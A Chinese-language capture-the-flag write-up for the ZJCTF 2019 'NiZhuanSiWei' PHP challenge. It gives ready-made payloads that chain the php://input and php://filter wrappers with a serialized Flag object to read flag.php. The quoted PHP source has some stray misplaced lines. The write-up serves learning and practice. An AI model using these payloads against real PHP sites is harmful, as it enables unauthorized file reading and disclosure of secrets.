[ZJCTF 2019]NiZhuanSiWei
打开网站发现是php代码,
需要我们get进去三个值,text,file,password.
第一个text
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")
要求text里面的值要等于welcome to the zjctf;
这里就可以使用PHP伪协议,利用input伪造内容。
上网查了一下php://input的用法:

我们开始构造
http://1.14.71.254:28255/?text=php://input
用post传参 welcome to the zjctf

成功传入第一个参数,接下来就是file
它提示了有一个useless.php
试试再用php伪协议打开
file=php://filter/read=convert.base64-encode/resource=useless.php

发现出现一串字母,用base64解码
<?php
class Flag{
flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
} useless.php
}
}
?>
再想到要传入password,发现它需要反序列化,刚好useless.php里面有一个类。

编码解得O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最后将三个参数一并传入

传入成功,但FLAG没有直接出来,细心一点发现flag在源码里面

总结:
这个题连续用了PHP伪协议和PHP反序列化,要能熟练的运用这两个技巧。

浙公网安备 33010602011771号